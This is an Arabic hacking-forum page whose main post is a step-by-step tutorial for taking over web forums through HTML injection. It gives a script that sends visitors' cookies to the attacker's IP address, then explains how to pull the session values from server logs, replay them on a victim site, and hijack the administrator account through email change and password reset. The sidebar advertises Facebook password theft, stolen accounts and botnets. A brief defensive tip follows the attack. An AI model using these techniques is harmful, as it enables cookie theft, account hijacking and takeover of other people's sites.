منظمة الانونيموس الاسلامية للاختراق
اهلا بك فى منظمة انيموس الاسلامية للاختراق

دخول

لقد نسيت كلمة السر

بحـث
 
 

نتائج البحث
 


Rechercher بحث متقدم

المواضيع الأخيرة
» افضل برنامج لسرقة اميلات الفيس بوك Hack Facebook Password
الأربعاء 30 أغسطس 2017, 8:27 pm من طرف الهاكر الاسطوري

» 100 الف حساب فيس بوك هدية
الأربعاء 30 أغسطس 2017, 1:39 pm من طرف الهاكر الاسطوري

» اكواد اختراق
الثلاثاء 29 أغسطس 2017, 4:00 pm من طرف الهاكر الاسطوري

» طريقتي في جلب حسابات rdp
الجمعة 14 يوليو 2017, 12:34 pm من طرف mohamed-56

» Get 30 days VPS in 30 seconds
الإثنين 10 يوليو 2017, 10:03 pm من طرف alimohamede

» حصرياً :شرح التحميل من rdp الى حاسوبك بسرعة البرق
الإثنين 10 يوليو 2017, 8:27 pm من طرف moatazmazao

» شرح كامل لـ BotNet Mirc على سيرفرات IRC
السبت 01 يوليو 2017, 12:49 am من طرف mohmed elsayed

» RDP/VPS l Win2008 l 7-day Free Trial
الخميس 29 يونيو 2017, 2:29 pm من طرف MohamedZidan1170

» موقع يعطيك سيرفر في بي اس لمدة شهر - هديه لعيون المنظمه
الخميس 22 يونيو 2017, 12:27 pm من طرف R4Y3B

سبتمبر 2017
الإثنينالثلاثاءالأربعاءالخميسالجمعةالسبتالأحد
    123
45678910
11121314151617
18192021222324
252627282930 

اليومية اليومية

تدفق ال RSS


Yahoo! 
MSN 
AOL 
Netvibes 
Bloglines 


المتواجدون الآن ؟
ككل هناك 14 عُضو متصل حالياً :: 0 عضو مُسجل, 0 عُضو مُختفي و 14 زائر :: 1 روبوت الفهرسة في محركات البحث

لا أحد

[ مُعاينة اللائحة بأكملها ]


أكبر عدد للأعضاء المتواجدين في هذا المنتدى في نفس الوقت كان 176 بتاريخ الخميس 03 نوفمبر 2016, 12:28 am

اختراق المنتديات عن طريق ثغرة Html

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل

اختراق المنتديات عن طريق ثغرة Html

مُساهمة من طرف Admin في الأحد 05 مايو 2013, 12:46 pm


بسم الله الرحمن الرحيم
طبعا في البداية اخواني اقسم بالله العضيم ان لا استعمل هذه الطريقة ضد المنتيدات المسلمة بل ضد المنتديات الي تسيئ الى الاسلام
-
طرق اختراق المنتديات مجربه وفعاله
-
شرح الاختراق
-
الثغرة :
---------
-
تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML
-
قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
<******>document.write('<img
src="http://my_ip_address/'+document.******************************e+'">';</******>
-
مع ملاحظة تغير الـ IP Adress الى رقم الـ IP الخاص بك .
-
وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى
ثم يقوم السكربت بتحويل هذه السطور الى رقم
الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها ) .
-
وبعد ان تتم العملية بنجاح قم بفتح ملف الـ Log الخاص بالسيرفر الذي يحتويه جهازك ..
مثال لو كان السيرفر اباتشي .. فتاح المجلد Apche واختر logs واختر Acces Log .
ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ
-
ابحث عن الكود الخاص بالباسورد .. مثال :
-
GET/ bbuserid=86;%20bbpassword=dd61
69d68822a116cd97e1fb
-
ddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f
8;%20bbthreadview[54
-
20]=1012444064;%20bblastvi
sit=1011983161
-
فكر قليلا الان .. اين الباسورد ؟؟
الباسورد موجودة لكن بطريقة مشفرة يصعب كسرها .. اذن مالحل ؟
قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
http://www.victim.com/vb/index.php?b...%5D&bbpassword[password hash]
ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..
لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
وثم قم بتسجيل الخروج .. ثم اذهب الى اداة Forgot Password .. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..
-
اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !
-----------
الحل
-----------
للحماية من هذه الثغرة قم باغلاق الـ HTML في (المنتدى + الرسائل الخاصة + التواقيع + التقويم + ... )
(واي منفذ يمكن من خلاله وضع كود HTML باي صورة كانت )

كما يجب اغلا كود الـ IMG .. لانه ببساطة بامكانك استخدامه بدل كلمة <******> فاذا وضعت <img> او <Demon> او
اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر ... لذا كن حذرا واغلق هذه المنافذ



اقرأ المزيد: اختراق المنتديات عن طريق ثغرة Html
avatar
Admin
Admin
Admin

عدد المساهمات : 1255
تاريخ التسجيل : 22/11/2011
العمر : 21
الموقع : http://ahmed2012.yoo7.com

http://ahmed2012.yoo7.com

الرجوع الى أعلى الصفحة اذهب الى الأسفل

استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة

- مواضيع مماثلة

 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى